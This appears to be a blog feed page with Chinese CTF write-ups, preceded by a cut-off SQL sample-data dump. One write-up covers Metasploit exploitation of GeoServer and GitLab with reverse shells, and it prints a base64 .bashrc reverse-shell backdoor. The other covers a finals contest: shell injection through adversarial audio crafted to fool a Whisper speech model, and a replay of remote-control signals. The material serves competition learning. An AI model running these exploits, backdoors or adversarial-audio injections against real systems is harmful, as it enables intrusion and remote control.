68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 INSERT INTO orders (id, user_id, product_id, quantity, status, created_at) VALUES (1, 4, 10, 2, 'completed', '2024-01-01 10:00:00'), (2, 17, 3, 2, 'pending', '2024-01-02 10:00:00'), (3, 12, 3, 4, 'shipped', '2024-01-03 10:00:00'), (4, 2, 8, 2, 'shipped', '2024-01-04 10:00:00'), (5, 8, 3, 5, 'shipped', '2024-01-05 10:00:00'), (6, 1, 2, 1, 'pending', '2024-01-06 10:00:00'), (7, 6, 2, 4, 'completed', '2024-01-07 10:00:00'), (8, 5, 7, 5, 'shipped', '2024-01-08 10:00:00'), (9, 14, 1, 5, 'completed', '2024-01-09 10:00:00'), (10, 7, 1, 3, 'completed', '2024-01-10 10:00:00'), (11, 14, 4, 2, 'pending', '2024-01-11 10:00:00'), (12, 19, 8, 1, 'pending', '2024-01-12 10:00:00'), (13, 17, 6, 3, 'shipped', '2024-01-13 10:00:00'), (14, 8, 8, 4, 'shipped', '2024-01-14 10:00:00'), (15, 9, 9, 1, 'completed', '2024-01-15 10:00:00'), (16, 10, 1, 3, 'pending', '2024-01-16 10:00:00'), (17, 8, 8, 5, 'pending', '2024-02-16 10:00:00'), (18, 19, 4, 2, 'completed', '2024-02-17 10:00:00'), (19, 13, 1, 3, 'shipped', '2024-02-18 10:00:00'), (20, 2, 1, 3, 'shipped', '2024-02-19 10:00:00'), (21, 3, 10, 5, 'pending', '2024-02-20 10:00:00'), (22, 11, 3, 3, 'completed', '2024-02-21 10:00:00'), (23, 12, 5, 5, 'pending', '2024-02-22 10:00:00'), (24, 16, 9, 2, 'shipped', '2024-02-23 10:00:00'), (25, 1, 1, 1, 'shipped', '2024-02-24 10:00:00'), (26, 16, 1, 4, 'shipped', '2024-02-25 10:00:00'), (27, 2, 9, 4, 'pending', '2024-02-26 10:00:00'), (28, 5, 2, 5, 'shipped', '2024-02-27 10:00:00'), (29, 7, 9, 1, 'shipped', '2024-02-28 10:00:00'), (30, 1, 4, 1, 'shipped', '2024-02-29 10:00:00'), (31, 19, 3, 1, 'completed', '2024-03-01 10:00:00'), (32, 11, 6, 4, 'pending', '2024-03-02 10:00:00'), (33, 19, 8, 1, 'shipped', '2024-04-02 10:00:00'), (34, 3, 8, 1, 'shipped', '2024-04-03 10:00:00'), (35, 13, 1, 4, 'shipped', '2024-04-04 10:00:00'), (36, 17, 8, 1, 'pending', '2024-04-05 10:00:00'), (37, 17, 10, 2, 'pending', '2024-04-06 10:00:00'), (38, 4, 10, 5, 'shipped', '2024-04-07 10:00:00'), (39, 12, 6, 3, 'pending', '2024-04-08 10:00:00'), (40, 18, 6, 3, 'pending', '2024-04-09 10:00:00'), (41, 10, 7, 4, 'shipped', '2024-04-10 10:00:00'), (42, 7, 10, 2, 'shipped', '2024-04-11 10:00:00'), (43, 19, 8, 1, 'completed', '2024-04-12 10:00:00'), (44, 9, 2, 5, 'completed', '2024-04-13 10:00:00'), (45, 4, 10, 5, 'shipped', '2024-04-14 10:00:00'), (46, 9, 2, 3, 'completed', '2024-04-15 10:00:00'), (47, 17, 8, 5, 'completed', '2024-04-16 10:00:00'), (48, 19, 10, 3, 'completed', '2024-04-17 10:00:00'), (49, 15, 2, 5, 'pending', '2024-05-18 10:00:00'), (50, 6, 7, 3, 'shipped', '2024-05-19 10:00:00'), (51, 13, 8, 1, 'completed', '2024-05-20 10:00:00'), (52, 18, 10, 1, 'pending', '2024-05-21 10:00:00'), (53, 16, 3, 2, 'pending', '2024-05-22 10:00:00'), (54, 4, 4, 1, 'shipped', '2024-05-23 10:00:00'), (55, 17, 5, 3, 'pending', '2024-05-24 10:00:00'), (56, 10, 1, 2, 'pending', '2024-05-25 10:00:00'), (57, 18, 8, 4, 'shipped', '2024-05-26 10:00:00'), (58, 4, 1, 2, 'shipped', '2024-05-27 10:00:00'), (59, 11, 9, 5, 'completed', '2024-05-28 10:00:00'), (60, 20, 10, 5, 'pending', '2024-05-29 10:00:00'), (61, 18, 6, 1, 'shipped', '2024-05-30 10:00:00'), (62, 10, 10, 5, 'completed', '2024-05-31 10:00:00'), (63, 18, 7, 5, 'shipped', '2024-06-01 10:00:00'), (64, 4, 7, 3, 'completed', '2024-06-02 10:00:00'), (65, 19, 10, 5, 'pending', '2024-07-03 10:00:00'), (66, 3, 6, 2, 'completed', '2024-07-04 10:00:00'), (67, 16, 8, 2, 'shipped', '2024-07-05 10:00:00'), (68, 1, 9, 5, 'completed', '2024-07-06 10:00:00'), (69, 6, 8, 2, 'shipped', '2024-07-07 10:00:00'), (70, 2, 5, 4, 'completed', '2024-07-08 10:00:00'), (71, 15, 7, 2, 'shipped', '2024-07-09 10:00:00'), (72, 2, 2, 3, 'pending', '2024-07-10 10:00:00'), (73, 2, 6, 4, 'pending', '2024-07-11 10:00:00'), (74, 17, 6, 3, 'completed', '2024-07-12 10:00:00'), (75, 10, 4, 2, 'shipped', '2024-07-13 10:00:00'), (76, 1, 7, 2, 'shipped', '2024-07-14 10:00:00'), (77, 13, 8, 5, 'completed', '2024-07-15 10:00:00'), (78, 9, 7, 5, 'completed', '2024-07-16 10:00:00'), (79, 18, 3, 3, 'shipped', '2024-07-17 10:00:00'), (80, 20, 7, 5, 'shipped', '2024-07-18 10:00:00'), (81, 19, 5, 3, 'shipped', '2024-08-18 10:00:00'), (82, 7, 4, 5, 'pending', '2024-08-19 10:00:00'), (83, 13, 2, 3, 'shipped', '2024-08-20 10:00:00'), (84, 3, 5, 5, 'completed', '2024-08-21 10:00:00'), (85, 3, 2, 2, 'shipped', '2024-08-22 10:00:00'), (86, 7, 5, 2, 'completed', '2024-08-23 10:00:00'), (87, 4, 6, 5, 'shipped', '2024-08-24 10:00:00'), (88, 18, 9, 4, 'completed', '2024-08-25 10:00:00'), (89, 2, 9, 4, 'shipped', '2024-08-26 10:00:00'), (90, 18, 5, 2, 'shipped', '2024-08-27 10:00:00'), (91, 5, 2, 3, 'shipped', '2024-08-28 10:00:00'), (92, 11, 3, 2, 'shipped', '2024-08-29 10:00:00'), (93, 15, 10, 2, 'pending', '2024-08-30 10:00:00'), (94, 20, 9, 5, 'completed', '2024-08-31 10:00:00'), (95, 3, 4, 1, 'shipped', '2024-09-01 10:00:00'), (96, 11, 5, 1, 'pending', '2024-09-02 10:00:00'), (97, 20, 7, 5, 'completed', '2024-10-03 10:00:00'), (98, 12, 6, 2, 'shipped', '2024-10-04 10:00:00'), (99, 1, 7, 3, 'pending', '2024-10-05 10:00:00'), (100, 4, 7, 2, 'shipped', '2024-10-06 10:00:00'), (101, 1, 9, 3, 'shipped', '2024-10-07 10:00:00'), (102, 2, 7, 1, 'shipped', '2024-10-08 10:00:00'), (103, 7, 7, 4, 'shipped', '2024-10-09 10:00:00'), (104, 9, 4, 5, 'completed', '2024-10-10 10:00:00'), (105, 15, 5, 2, 'shipped', '2024-10-11 10:00:00'), (106, 2, 8, 5, 'shipped', '2024-10-12 10:00:00'), (107, 6, 10, 2, 'shipped', '2024-10-13 10:00:00'), (108, 19, 2, 4, 'pending', '2024-10-14 10:00:00'), (109, 15, 3, 3, 'shipped', '2024-10-15 10:00:00'), (110, 6, 2, 2, 'pending', '2024-10-16 10:00:00'), (111, 6, 5, 4, 'completed', '2024-10-17 10:00:00'), (112, 14, 7, 2, 'pending', '2024-10-18 10:00:00'), (113, 16, 5, 5, 'shipped', '2024-11-18 10:00:00'), (114, 7, 5, 2, 'shipped', '2024-11-19 10:00:00'), (115, 6, 6, 1, 'shipped', '2024-11-20 10:00:00'), (116, 15, 10, 5, 'completed', '2024-11-21 10:00:00'), (117, 7, 2, 1, 'pending', '2024-11-22 10:00:00'), (118, 16, 3, 2, 'shipped', '2024-11-23 10:00:00'), (119, 6, 9, 5, 'pending', '2024-11-24 10:00:00'), (120, 3, 10, 2, 'completed', '2024-11-25 10:00:00'), (121, 15, 9, 2, 'pending', '2024-11-26 10:00:00'), (122, 13, 8, 5, 'pending', '2024-11-27 10:00:00'), (123, 6, 6, 4, 'pending', '2024-11-28 10:00:00'), (124, 3, 6, 5, 'pending', '2024-11-29 10:00:00'), (125, 5, 5, 4, 'completed', '2024-11-30 10:00:00'), (126, 19, 6, 3, 'shipped', '2024-12-01 10:00:00'), (127, 12, 2, 2, 'completed', '2024-12-02 10:00:00'), (128, 16, 9, 5, 'shipped', '2024-12-03 10:00:00'), (129, 15, 7, 5, 'pending', '2025-01-03 10:00:00'), (130, 2, 5, 4, 'shipped', '2025-01-04 10:00:00'), (131, 19, 6, 1, 'pending', '2025-01-05 10:00:00'), (132, 15, 7, 4, 'completed', '2025-01-06 10:00:00'), (133, 19, 5, 5, 'shipped', '2025-01-07 10:00:00'), (134, 20, 9, 5, 'completed', '2025-01-08 10:00:00'), (135, 2, 4, 2, 'shipped', '2025-01-09 10:00:00'), (136, 20, 10, 3, 'completed', '2025-01-10 10:00:00'), (137, 3, 10, 1, 'shipped', '2025-01-11 10:00:00'), (138, 18, 9, 1, 'shipped', '2025-01-12 10:00:00'), (139, 18, 8, 2, 'shipped', '2025-01-13 10:00:00'), (140, 16, 7, 5, 'pending', '2025-01-14 10:00:00'), (141, 7, 3, 2, 'completed', '2025-01-15 10:00:00'), (142, 10, 3, 5, 'completed', '2025-01-16 10:00:00'), (143, 18, 9, 2, 'pending', '2025-01-17 10:00:00'), (144, 7, 7, 5, 'completed', '2025-01-18 10:00:00'), (145, 14, 4, 5, 'shipped', '2025-02-18 10:00:00'), (146, 7, 3, 4, 'pending', '2025-02-19 10:00:00'), (147, 8, 3, 2, 'shipped', '2025-02-20 10:00:00'), (148, 6, 5, 2, 'completed', '2025-02-21 10:00:00'), (149, 13, 1, 4, 'pending', '2025-02-22 10:00:00'), (150, 9, 4, 4, 'shipped', '2025-02-23 10:00:00'), (151, 1, 4, 5, 'pending', '2025-02-24 10:00:00'), (152, 7, 4, 1, 'completed', '2025-02-25 10:00:00'), (153, 3, 6, 3, 'completed', '2025-02-26 10:00:00'), (154, 5, 2, 2, 'shipped', '2025-02-27 10:00:00'), (155, 12, 10, 4, 'shipped', '2025-02-28 10:00:00'), (156, 15, 7, 3, 'pending', '2025-03-01 10:00:00'), (157, 16, 7, 5, 'pending', '2025-03-02 10:00:00'), (158, 14, 2, 4, 'completed', '2025-03-03 10:00:00'), (159, 13, 2, 1, 'completed', '2025-03-04 10:00:00'), (160, 6, 8, 3, 'completed', '2025-03-05 10:00:00'), (161, 4, 4, 5, 'shipped', '2025-04-05 10:00:00'), (162, 7, 5, 3, 'shipped', '2025-04-06 10:00:00'), (163, 5, 3, 3, 'shipped', '2025-04-07 10:00:00'), (164, 8, 3, 3, 'completed', '2025-04-08 10:00:00'), (165, 4, 1, 5, 'pending', '2025-04-09 10:00:00'), (166, 4, 4, 5, 'shipped', '2025-04-10 10:00:00'), (167, 14, 5, 5, 'shipped', '2025-04-11 10:00:00'), (168, 14, 1, 2, 'pending', '2025-04-12 10:00:00'), (169, 15, 3, 5, 'completed', '2025-04-13 10:00:00'), (170, 19, 1, 5, 'shipped', '2025-04-14 10:00:00'), (171, 2, 1, 3, 'pending', '2025-04-15 10:00:00'), (172, 5, 5, 3, 'pending', '2025-04-16 10:00:00'), (173, 3, 6, 4, 'shipped', '2025-04-17 10:00:00'), (174, 12, 3, 3, 'shipped', '2025-04-18 10:00:00'), (175, 8, 8, 2, 'shipped', '2025-04-19 10:00:00'), (176, 4, 1, 4, 'completed', '2025-04-20 10:00:00'), (177, 8, 8, 5, 'pending', '2025-05-21 10:00:00'), (178, 15, 5, 5, 'pending', '2025-05-22 10:00:00'), (179, 2, 1, 2, 'completed', '2025-05-23 10:00:00'), (180, 9, 6, 5, 'completed', '2025-05-24 10:00:00'), (181, 6, 2, 2, 'shipped', '2025-05-25 10:00:00'), (182, 9, 8, 2, 'pending', '2025-05-26 10:00:00'), (183, 9, 6, 3, 'completed', '2025-05-27 10:00:00'), (184, 19, 8, 1, 'shipped', '2025-05-28 10:00:00'), (185, 10, 9, 2, 'completed', '2025-05-29 10:00:00'), (186, 20, 1, 5, 'pending', '2025-05-30 10:00:00'), (187, 3, 5, 2, 'pending', '2025-05-31 10:00:00'), (188, 8, 7, 4, 'shipped', '2025-06-01 10:00:00'), (189, 6, 3, 2, 'completed', '2025-06-02 10:00:00'), (190, 9, 4, 2, 'completed', '2025-06-03 10:00:00'), (191, 1, 9, 3, 'shipped', '2025-06-04 10:00:00'), (192, 11, 1, 1, 'completed', '2025-06-05 10:00:00'), (193, 4, 7, 2, 'completed', '2025-07-06 10:00:00'), (194, 11, 4, 4, 'shipped', '2025-07-07 10:00:00'), (195, 7, 7, 4, 'shipped', '2025-07-08 10:00:00'), (196, 3, 6, 3, 'completed', '2025-07-09 10:00:00'), (197, 11, 4, 2, 'completed', '2025-07-10 10:00:00'), (198, 7, 7, 1, 'completed', '2025-07-11 10:00:00'), (199, 2, 4, 1, 'shipped', '2025-07-12 10:00:00'), (200, 4, 10, 2, 'completed', '2025-07-13 10:00:00'); 最终整个队伍用时 1:10:18 成功 AK 了数据安全类别所有题目,成为第一个 AK 数据安全类别的队伍 综合渗透与应急响应 本次的渗透与应急响应,说实话 msf 的效果远超预期,我出的都是走 msf 出来的 Geoserver 应急响应 1 对入口点geoserver系统进行入侵排查,找到攻击者隐藏后门,提交后门中回连的IP地址及端口号。(如 1.1.1.1:8080) 这个是开在了 8080 端口的一个服务,先搜索一下 msf 的数据库 1 2 3 4 5 6 7 8 9 10 11 12 $ msfconsole msf > search geoserver Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/geoserver_unauth_rce_cve_2024_36401 2024-07-01 excellent Yes Geoserver unauthenticated Remote Code Execution 1 \_ target: Unix Command . . . . 2 \_ target: Windows Command . . . . 发现有一个 RCE,尝试利用一下 下面一定要设置一下 payload 为 payload/cmd/linux/http/x64/shell/reverse_tcp ,打 use 1 的时候默认选的是 aarch64 的反向 tcp,与目标系统不匹配,会弹不回来 session 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 msf > use 1 msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set payload payload/cmd/linux/http/x64/shell/reverse_tcp payload => cmd/linux/http/x64/shell/reverse_tcp msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > set RHOST 10.1.119.30 RHOST => 10.1.119.30 msf exploit(multi/http/geoserver_unauth_rce_cve_2024_36401) > run [*] Started reverse TCP handler on 10.50.119.20:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Trying to detect if target is running a vulnerable version of GeoServer. [+] The target appears to be vulnerable. Version 2.19.2 [*] Executing Unix Command for cmd/linux/http/x64/shell/reverse_tcp [*] Sending stage (38 bytes) to 10.1.119.30 [*] Command shell session 1 opened (10.50.119.20:4444 -> 10.1.119.30:43596) at 2025-10-25 00:54:05 -0400 然后就直接跑通了,用 shell 命令拿一个会话 1 2 3 4 5 6 7 8 9 10 shell [*] Trying to find binary 'python' on the target machine [-] python not found [*] Trying to find binary 'python3' on the target machine [*] Found python3 at /usr/bin/python3 [*] Using `python` to pop up an interactive shell [*] Trying to find binary 'bash' on the target machine [*] Found bash at /bin/bash root@e80e8e169570:/mnt/geoserver# 检查到 /root/.bashrc 有恶意代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 cat .bashrc # ~/.bashrc: executed by bash(1) for non-login shells. # Note: PS1 and umask are already set in /etc/profile. You should not # need this unless you want different defaults for root. # PS1='${debian_chroot:+($debian_chroot)}\h:\w\$ ' # umask 022 # You may uncomment the following lines if you want `ls' to be colorized: # export LS_OPTIONS='--color=auto' # eval "$(dircolors)" # alias ls='ls $LS_OPTIONS' # alias ll='ls $LS_OPTIONS -l' # alias l='ls $LS_OPTIONS -lA' # # Some more alias to avoid making mistakes: # alias rm='rm -i' # alias cp='cp -i' # alias mv='mv -i' alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDMuMjQuMTkyLjI1MSIsIDk5OTkpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts' alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts' 答案为 43.24.192.251:9999 综合渗透 3 顺带 cat /flag 出综合渗透 3 的 flag Gitlab 应急响应 5 找 GitLab 后门中回连的IP地址及端口号 这题队友先到内网里面去用 FRP 把内网穿透出来到我们比赛内网了,给我开了一个 socks5 的代理 socks5://10.50.119.22:7007 还是去 msf 里面搜索一下 gitlab,能搜出来很多,但是能用来 rce 的很少,有这样一个 CVE 被我抓住了(其实是不断试错试到了这个) 而且这个 exploit 的描述里面有 GitLab Unauthenticated,很符合我们登陆不进去的情况 1 2 3 4 5 msf exploit > search gitlab 8 exploit/multi/http/gitlab_exif_rce 2021-04-14 excellent Yes GitLab Unauthenticated Remote ExifTool Command Injection 9 \_ target: Unix Command . . . . 10 \_ target: Linux Dropper 那还说啥,直接用呗,先配置一条龙 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 msf > use 9 msf exploit(multi/http/gitlab_exif_rce) > set RHOSTS 192.168.190.20 RHOSTS => 192.168.190.20 msf exploit(multi/http/gitlab_exif_rce) > set RPORT 8000 RPORT => 8000 msf exploit(multi/http/gitlab_exif_rce) > set LHOST YOUR_IP LHOST => YOUR_IP msf exploit(multi/http/gitlab_exif_rce)> set Proxies socks5://10.50.119.22:7007 Proxies => socks5://10.50.119.22:7007 msf exploit(multi/http/gitlab_exif_rce) > set ReverseAllowProxy true ReverseAllowProxy => true msf exploit(multi/http/gitlab_exif_rce) > run 然后就跑通了 这题出来纯属误打误撞,原来的题目说是要找到木马文件逆向的,但是我看 netstat 了 1 $ netstat -ano 发现建立了很多与 10.3.4.66:12615 的连接,所以就交了,结果就对了 =-= 综合渗透 4 依旧是 cat /flag 应急响应 4(赛后出) 这题要找被黑客替换掉的程序 赛后跟别人讨论的时候出的 在找马的时候,我习惯性用 ps 的,结果 ps 只有 bash 这一个结果,而且我用 msf 获取的恰好是 bash,我以为是权限不够还是咋滴,写了个替代方案去读 /proc/cmdline,结果没想到被我认为是障眼法的 ps 是最终答案 => /bin/ps,血亏 300 分(虽然交了也没有二等奖) FIN

2025/10/25
articleCard.readMore

2025 湾区杯决赛(AKA 珠海旅行记录)

本次也是非常幸运的,在候补名单里面进了 GBACC 的决赛 因为得到消息的时候,是周四,我们下周一就要打决赛了,所以光速定了酒店和过去的高铁票 同样,因为是决赛,所以很可能就会变成我们的公费旅游环节,比赛的东西我会放到最后的 旅游 比赛前日——出发 我们是周六去的珠海,当天早上买的 10:14 的票从南站出发去的,第一次坐到有这样的桌子的高铁 我们总共两个队伍去,在我们没有商量的情况下,我们甚至买的同一班高铁(笑哭) 到了以后,我们先去酒店办理入住,但是因为我们来的太早了,实在是没有清理好的客房,于是让我们做了个登记,我们就去吃午餐了 在附近的广场吃完午餐,就去赛场先签到了 比赛前日——签到 比赛场馆是珠海国际会展中心,这个地方说实话,是真的大啊~~~ 给你们看张酒店拍的图,感受一下(对面是澳门) 反正一路上走,看到很多湾区杯的牌牌,想着跟着走准没错,结果走了快20分钟才到那个门口(问就是找错门了) 首先在门口看到的,就是两个大牌牌 然后我们一路坐电梯上到4楼(这栋建筑只有1楼和4楼),找到签到处,签了个到,领取了我们的物资 其实我们第一次来的时候,来太早了,他们没上班,我们在隔壁的酒店坐了一会才过来的 把东西拿回酒店后,给手机稍微充了一下电我就出门了,我要去找我复读的哥们 比赛前日——串门 本次的目标是暨南大学(珠海校区),距离我们的酒店也不是很远,八公里,直接打个车过去 与大多数高校相同,这里不让陌生人进去,要进去只能混闸,那没办法,只能等哥们出来接了 我们先去吃了冰,说实话,我已经很久没吃过冰了,偶尔吃一次还是可以的 然后我们就逛了一圈暨大珠海(没拍图),我还见到了一种没见过的取快递方式 我们学校这边的驿站是会把取件码发到手机上的,凭取件码拿件后自助出库,或者是丰巢柜直接取,这边不是 首先,你得先根据提示找到你快递所属的快递公司,然后在货架上找到自己的快递 然后,你要打开拼多多(我也不知道为什么限定pdd),将身份码与你快递的条码同时放在自助出库机的摄像头内,同时扫到两个才能出库 emmmm,我不好评价,我感觉效率应该会很低 比赛前日——看题 比赛前一天,把AI题的附件给我们了,顺带告诉我们需要什么环境(鉴定为优秀赛事组委会) 然后我们就得到了 AI 题的附件,具体情况看下面比赛那一节吧 比赛当天——赛场 当天来到我们的位置,就看到了小零食袋 呜,第一次遇到会给零食袋到座位上的赛事组委会,他真的,我哭死。°(°¯᷄◠¯᷅°)°。 我们就迅速整理好我们的设备,然后进入了摸鱼模式(因为有开幕式) 比赛当天——赛中 到了九点半,终于开打了,然后开场 AI 题就不出所料的,被爆了 比赛过程中我们还是尽力去打了,但是嘛,yysy,干不过 =-= 比赛当天——赛后 赛后,见到了群里的 @Lil-Ran 和 @ProbiusOfficial,@Lil-Ran 是专程过来玩的,@ProbiusOfficial 是参赛选手(也是跟探姬同台竞技了) 其实吧,CTFer 面基就是,线上全是E人,线下全是I人,真的会很尴尬的 最后我们拿到的是入围奖(即参与奖),也是当做经历的一部分了 比赛 比赛这方面,因为不让用网(线下赛是这样的),所以打起来很多东西没法搜,特别是 S7COMM 协议的报文格式,我是真的没存,所以那个题目出不来 下面还是说一下我出来的那几个题目吧 AI 题 我忘了这题的题目名称叫什么了,反正是个 AI 题,提前给了附件的 在回到酒店以后,把附件下载下来,发现是一个LLM服务,但本质上是一个可利用语音识别的半个伪MCP服务 为什么我会说是 MCP 服务,是因为在代码中有这样的内容 1 2 3 4 5 chatbot_proc = await asyncio.create_subprocess_shell( f"python3 chatbot.py '{transcription}'", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT ) chatbot.py 的用法是这样的 1 2 3 4 5 6 if __name__ == "__main__": if len(sys.argv) < 2: print("用法: python chat.py \"你的问题\"") sys.exit(0) user_input = " ".join(sys.argv[1:]) print("Chatbot:", get_response(user_input)) 所以说,理论上,我们直接干扰这里传入的 transcription 即可,有点像 sql 注入,例如,这里假设我们传入 '; echo Hacked',那么拼接就得到 python chatbot.py '; echo Hacked' 根据这样的代码,能够搜到一篇文章 https://blog.bi0s.in/2025/07/14/Misc/DontWhisper-bi0sCTF2025/ 里面给出了他们的原理和代码,我就不再赘述了,直接拿过来用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import torch from whisper import load_model from whisper.audio import log_mel_spectrogram, pad_or_trim from whisper.tokenizer import get_tokenizer import torchaudio from torch import nn DEVICE = "cuda" target_text = "';cat /chal/flag'" model = load_model("tiny.en") model.eval() tokenizer = get_tokenizer( model.is_multilingual, num_languages=model.num_languages, language="en", task="transcribe", ) target_tokens = tokenizer.encode(target_text) target_tokens = target_tokens + [50256] # Add EOT token adv = torch.randn(1, 16000*20, device=DEVICE, requires_grad=True) optimizer = torch.optim.Adam([adv], lr=0.01) loss_fn = nn.CrossEntropyLoss() num_iterations = 50 for i in range(num_iterations): tokens = torch.tensor([[50257, 50362]], device=DEVICE) # [SOT, EN] total_loss = 0 for target_token in target_tokens: optimizer.zero_grad() mel = log_mel_spectrogram(adv, model.dims.n_mels, padding=16000*30) mel = pad_or_trim(mel, 3000).to(model.device) audio_features = model.embed_audio(mel) logits = model.logits(tokens, audio_features)[:, -1] loss = loss_fn(logits, torch.tensor([target_token], device=DEVICE)) total_loss += loss loss.backward() optimizer.step() adv.data = adv.data.clamp(-1, 1) assert adv.max() <= 1 and adv.min() >= -1 tokens = torch.cat([tokens, torch.tensor([[target_token]], device=DEVICE)], dim=1) print(f"Iteration {i+1}/{num_iterations}, Loss: {loss.item():.4f}") torchaudio.save("adversarial.wav", adv.detach().cpu(), 16000) print("Transcribing generated adversarial audio:") result = model.transcribe(adv.detach().cpu().squeeze(0)) print(f"Transcription: {result['text']}") 本来我的命令是 cat /flag 的,但是做题的时候告诉我没有这个文件,队友测了一下这个题连路径都没改 az,那行吧 Signal 点击按遥控器开门,会下载一段以 0.1s 为分段,总长为 1.5s 的 wav 音频,直接看频谱图就能发现端倪 根据频谱图,因为我们难以看出为 0 的频谱段上方最大值是多少,所以我们倒着看,可以认为当这一 0.1s 中含有 600Hz 的时候,此段的值为 0,否则为 1 写一个 Python 脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def detect_600hz_in_wav(path, thr=1e-3): fs, data = wav.read(path) # 读取 wav data = data.mean(axis=1)# 姑且先掰成单声道 data = data.astype(np.float32) win_len = int(round(0.1 * fs)) # 0.1 s step = win_len # 无重叠 n_win = 15 seq = [] # 600Hz 对应的 FFT bin freq_bins = np.fft.rfftfreq(win_len, d=1.0/fs) idx_600 = np.argmin(np.abs(freq_bins - 600.0)) for i in range(n_win): start = i * step win = data[start : start + win_len] # 直接 FFT,取幅度 mag = np.abs(np.fft.rfft(win)) mag_600 = mag[idx_600] seq.append(1 if mag_600 > thr else 0) return "".join(list(map(str, seq))) 这样就可以得到所需要的数字序列,然后就是不断地去下载 wav 文件,看看这个序列有什么规律,主要考虑是一般的车子是有一个 code 一直在计算的动态的,所以尝试找到它的规律,结果发现 1 2 3 4 5 ╰─ uv run F:\CTF\Workspace\GBACC-Finals\Signal\sol.py ['101101001000100', '100111001000111', '100110100110010', '101100100110010', '100110101001101', '100111001000100', '100111001010100', '100110101010100', '101101001000111', '100110101000100'] ╰─ uv run F:\CTF\Workspace\GBACC-Finals\Signal\sol.py ['101101001000100', '100111001000111', '100110100110010', '101100100110010', '100110101001101', '100111001000100', '100111001010100', '100110101010100', '101101001000111', '100110101000100'] 于是就被鉴定为固定序列了,即下一次的信号是可以预测的 尝试做一个自动化提交 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CTF 题用:检测 1.5s wav 按 0.1s 切片,若每片 FFT 的 600Hz 频率分量大于阈值 → 0;否则 → 1 返回 15 位 0/1 序列 """ import numpy as np import scipy.io.wavfile as wav import sys import requests import time URL = "http://172.36.147.165:5000/" GET_WAV_URL = URL + "generate_remote" SUBMIT_URL = URL + "submit" SEQUENCE = ['100110101001101', '100111001000100', '100111001010100', '100110101010100', '101101001000111', '100110101000100', '101100100110010', '101101001000100', '100111001000111', '100110100110010', '101100100110010'] # ... 函数省略 if __name__ == "__main__": # 第一次获取 get_and_save_wav() result = detect_600hz_in_wav("tmp.wav") idx = SEQUENCE.index(result) print(result, idx) # 第二次获取 t = time.time() get_and_save_wav() result = SEQUENCE[(idx + 1) % len(SEQUENCE)] print(result) submit_answer(result) print(time.time() - t) 发现一直在报错误,结果发现有一个码出现了两次,实际序列应该为 1 2 3 4 5 6 7 8 9 10 11 100110101001101 100111001000100 100111001010100 100110101010100 101101001000111 100110101000100 101100100110010 101101001000100 100111001000111 100110100110010 101100100110010 那我可管不了那么多,直接开爆,全都交一次就是了 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 result_dict = {} def get_and_save_wav(filename: str = "tmp.wav"): resp = requests.get(GET_WAV_URL) resp.raise_for_status() with open(filename, "wb") as f: f.write(resp.content) if __name__ == "__main__": for _ in range(11): get_and_save_wav(f"{_}.wav") result = detect_600hz_in_wav(f"{_}.wav") result_dict[_] = result for file_id, answer in result_dict.items(): print(file_id, answer) submit_answer(answer, wav_path=f"{file_id}.wav") 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ╰─ uv run F:\CTF\Workspace\GBACC-Finals\Signal\sol.py 0 101100100110010 {"message":"\u4f60\u8fd9\u4e2a\u6d88\u606f\u6709\u70b9\u8fc7\u65f6\uff0c\u4e0d\u7ed9\u5f00\u95e8","success":false} 1 100110101001101 {"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true} 2 100111001000100 {"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true} 3 100111001010100 {"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true} 4 100110101010100 {"message":"\u95e8\u5f00\u5f00\nflag{good_signal_modem}","success":true} 5 101101001000111 